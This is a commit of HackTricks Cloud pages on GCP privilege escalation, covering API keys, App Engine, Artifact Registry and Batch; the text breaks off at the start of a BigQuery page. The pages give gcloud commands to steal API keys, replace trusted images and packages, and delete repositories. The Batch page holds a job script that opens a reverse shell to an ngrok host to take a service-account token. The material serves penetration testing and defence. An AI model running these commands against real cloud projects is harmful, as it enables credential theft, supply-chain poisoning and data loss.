Recreating repository history for branch master

This commit is contained in:
Carlos Polop
2024-12-12 19:35:48 +01:00
commit 5ef56bb6b3
1076 changed files with 67158 additions and 0 deletions

View File

@@ -0,0 +1,103 @@
# GCP - Privilege Escalation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Introduction to GCP Privilege Escalation <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
GCP, as any other cloud, have some **principals**: users, groups and service accounts, and some **resources** like compute engine, cloud functions…\
Then, via roles, **permissions are granted to those principals over the resources**. This is the way to specify the permissions a principal has over a resource in GCP.\
There are certain permissions that will allow a user to **get even more permissions** on the resource or third party resources, and thats what is called **privilege escalation** (also, the exploitation the vulnerabilities to get more permissions).
Therefore, I would like to separate GCP privilege escalation techniques in **2 groups**:
* **Privesc to a principal**: This will allow you to **impersonate another principal**, and therefore act like it with all his permissions. e.g.: Abuse _getAccessToken_ to impersonate a service account.
* **Privesc on the resource**: This will allow you to **get more permissions over the specific resource**. e.g.: you can abuse _setIamPolicy_ permission over cloudfunctions to allow you to trigger the function.
* Note that some **resources permissions will also allow you to attach an arbitrary service account** to the resource. This means that you will be able to launch a resource with a SA, get into the resource, and **steal the SA token**. Therefore, this will allow to escalate to a principal via a resource escalation. This has happened in several resources previously, but now its less frequent (but can still happen).
Obviously, the most interesting privilege escalation techniques are the ones of the **second group** because it will allow you to **get more privileges outside of the resources you already have** some privileges over. However, note that **escalating in resources** may give you also access to **sensitive information** or even to **other principals** (maybe via reading a secret that contains a token of a SA).
{% hint style="warning" %}
It's important to note also that in **GCP Service Accounts are both principals and permissions**, so escalating privileges in a SA will allow you to impersonate it also.
{% endhint %}
{% hint style="info" %}
The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API.
{% endhint %}
## Permissions for Privilege Escalation Methodology
This is how I **test for specific permissions** to perform specific actions inside GCP.
1. Download the github repo [https://github.com/carlospolop/gcp\_privesc\_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
2. Add in tests/ the new script
## Bypassing access scopes <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
Tokens of SA leakded from GCP metadata service have **access scopes**. These are **restrictions** on the **permissions** that the token has. For example, if the token has the **`https://www.googleapis.com/auth/cloud-platform`** scope, it will have **full access** to all GCP services. However, if the token has the **`https://www.googleapis.com/auth/cloud-platform.read-only`** scope, it will only have **read-only access** to all GCP services even if the SA has more permissions in IAM.
There is no direct way to bypass these permissions, but you could always try searching for **new credentials** in the compromised host, **find the service key** to generate an OAuth token without restriction or **jump to a different VM less restricted**.
When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has.
The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OAuth token** without restriction or to **compromise a different VM with a SA less restricted**.
Check SA with keys generated with:
```bash
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo "Looking for keys for $i:"
gcloud iam service-accounts keys list --iam-account $i
done
```
## Privilege Escalation Techniques
The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other service account/users/groups privileges. Chaining escalations until you have admin access over the organization.
{% hint style="warning" %}
GCP has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
{% endhint %}
**The subpages of this section are ordered by services. You can find on each service different ways to escalate privileges on the services.**
### Abusing GCP to escalate privileges locally
If you are inside a machine in GCP you might be able to abuse permissions to escalate privileges even locally:
{% content-ref url="gcp-local-privilege-escalation-ssh-pivoting.md" %}
[gcp-local-privilege-escalation-ssh-pivoting.md](gcp-local-privilege-escalation-ssh-pivoting.md)
{% endcontent-ref %}
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner)
* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,105 @@
# GCP - Apikeys Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Apikeys
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
For more information about API Keys check:
{% content-ref url="../gcp-services/gcp-api-keys-enum.md" %}
[gcp-api-keys-enum.md](../gcp-services/gcp-api-keys-enum.md)
{% endcontent-ref %}
For other ways to create API keys check:
{% content-ref url="gcp-serviceusage-privesc.md" %}
[gcp-serviceusage-privesc.md](gcp-serviceusage-privesc.md)
{% endcontent-ref %}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
This permission allows to **create an API key**:
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
{% hint style="danger" %}
Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.
{% endhint %}
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
These permissions allows **list and get all the apiKeys and get the Key**:
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
### Create Internal OAuth Application to phish other workers
Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{% content-ref url="../../workspace-security/gws-google-platforms-phishing/" %}
[gws-google-platforms-phishing](../../workspace-security/gws-google-platforms-phishing/)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,141 @@
# GCP - AppEngine Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## App Engine
For more information about App Engine check:
{% content-ref url="../gcp-services/gcp-app-engine-enum.md" %}
[gcp-app-engine-enum.md](../gcp-services/gcp-app-engine-enum.md)
{% endcontent-ref %}
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
Those are the needed permissions to **deploy an App using `gcloud` cli**. Maybe the **`get`** and **`list`** ones could be **avoided**.
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Give it at least 10-15min, if it doesn't work call **deploy another of times** and wait some minutes.
{% hint style="info" %}
It's **possible to indicate the Service Account to use** but by default, the App Engine default SA is used.
{% endhint %}
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Update equivalent permissions
You might have enough permissions to update an AppEngine but not to create a new one. In that case this is how you could update the current App Engine:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
If you have **already compromised a AppEngine** and you have the permission **`appengine.applications.update`** and **actAs** over the service account to use you could modify the service account used by AppEngine with:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
With these permissions, it's possible to **login via ssh in App Engine instances** of type **flexible** (not standard). Some of the **`list`** and **`get`** permissions **could not be really needed**.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
I think this just change the background SA google will use to setup the applications, so I don't think you can abuse this to steal the service account.
{% code overflow="wrap" %}
```bash
gcloud app update --service-account=<sa_email>
```
{% endcode %}
### `appengine.versions.getFileContents`, `appengine.versions.update`
Not sure how to use these permissions or if they are useful (note that when you change the code a new version is created so I don't know if you can just update the code or the IAM role of one, but I guess you should be able to, maybe changing the code inside the bucket??).
### Write Access over the buckets
As mentioned the appengine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name `appspot.com`.
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the AppEngine version by monitoring the bucket and any time a change is performed, modify as fast as possible the code. This way, the container that gets created from this code will **execute the backdoored code**.
For more information and a **PoC check the relevant information from this page**:
{% content-ref url="gcp-storage-privesc.md" %}
[gcp-storage-privesc.md](gcp-storage-privesc.md)
{% endcontent-ref %}
### Write Access over the Artifact Registry
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,210 @@
# GCP - Artifact Registry Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Artifact Registry
For more information about Artifact Registry check:
{% content-ref url="../gcp-services/gcp-artifact-registry-enum.md" %}
[gcp-artifact-registry-enum.md](../gcp-services/gcp-artifact-registry-enum.md)
{% endcontent-ref %}
### artifactregistry.repositories.uploadArtifacts
With this permission an attacker could upload new versions of the artifacts with malicious code like Docker images:
{% code overflow="wrap" %}
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
# tag the image to upload it
docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
{% endcode %}
{% hint style="danger" %}
It was checked that it's **possible to upload a new malicious docker** image with the same name and tag as the one already present, so the **old one will lose the tag** and next time that image with that tag is **downloaded the malicious one** will be downloaded.
{% endhint %}
<details>
<summary>Upload a Python library</summary>
**Start by creating the library to upload** (if you can download the latest version from the registry you can avoid this step):
1. **Set up your project structure**:
* Create a new directory for your library, e.g., `hello_world_library`.
* Inside this directory, create another directory with your package name, e.g., `hello_world`.
* Inside your package directory, create an `__init__.py` file. This file can be empty or can contain initializations for your package.
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
```
2. **Write your library code**:
* Inside the `hello_world` directory, create a new Python file for your module, e.g., `greet.py`.
* Write your "Hello, World!" function:
```python
# hello_world/greet.py
def say_hello():
return "Hello, World!"
```
3. **Create a `setup.py` file**:
* In the root of your `hello_world_library` directory, create a `setup.py` file.
* This file contains metadata about your library and tells Python how to install it.
```python
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
```
**Now, lets upload the library:**
1. **Build your package**:
* From the root of your `hello_world_library` directory, run:
```sh
python3 setup.py sdist bdist_wheel
```
2. **Configure authentication for twine** (used to upload your package):
* Ensure you have `twine` installed (`pip install twine`).
* Use `gcloud` to configure credentials:
{% code overflow="wrap" %}
````
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
````
{% endcode %}
3. **Clean the build**
```bash
rm -rf dist build hello_world.egg-info
```
</details>
{% hint style="danger" %}
It's not possible to upload a python library with the same version as the one already present, but it's possible to upload **greater versions** (or add an extra **`.0` at the end** of the version if that works -not in python though-), or to **delete the last version an upload a new one with** (needed `artifactregistry.versions.delete)`**:**
{% code overflow="wrap" %}
```sh
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
```
{% endcode %}
{% endhint %}
### `artifactregistry.repositories.downloadArtifacts`
With this permission you can **download artifacts** and search for **sensitive information** and **vulnerabilities**.
Download a **Docker** image:
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
Download a **python** library:
{% code overflow="wrap" %}
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
{% endcode %}
* What happens if a remote and a standard registries are mixed in a virtual one and a package exists in both? Check this page:
{% content-ref url="../gcp-persistence/gcp-artifact-registry-persistence.md" %}
[gcp-artifact-registry-persistence.md](../gcp-persistence/gcp-artifact-registry-persistence.md)
{% endcontent-ref %}
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Delete artifacts from the registry, like docker images:
{% code overflow="wrap" %}
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
{% endcode %}
### `artifactregistry.repositories.delete`
Detele a full repository (even if it has content):
{% code overflow="wrap" %}
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
{% endcode %}
### `artifactregistry.repositories.setIamPolicy`
An attacker with this permission could give himself permissions to perform some of the previously mentioned repository attacks.
### Pivoting to other Services through Artifact Registry Read & Write
* **Cloud Functions**
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
* **App Engine**
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,84 @@
# GCP - Batch Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Batch
Basic information:
{% content-ref url="../gcp-services/gcp-batch-enum.md" %}
[gcp-batch-enum.md](../gcp-services/gcp-batch-enum.md)
{% endcontent-ref %}
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default).
```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
"taskGroups": [
{
"taskCount": "1",
"parallelism": "1",
"taskSpec": {
"computeResource": {
"cpuMilli": "1000",
"memoryMib": "512"
},
"runnables": [
{
"script": {
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
}
}
],
"volumes": []
}
}
],
"allocationPolicy": {
"instances": [
{
"policy": {
"provisioningModel": "STANDARD",
"machineType": "e2-micro"
}
}
]
},
"logsPolicy": {
"destination": "CLOUD_LOGGING"
}
}
EOD
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,149 @@
# GCP - BigQuery Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## BigQuery
For more information about BigQuery check:
{% content-ref url="../gcp-services/gcp-bigquery-enum.md" %}
[gcp-bigquery-enum.md](../gcp-services/gcp-bigquery-enum.md)
{% endcontent-ref %}
### Read Table
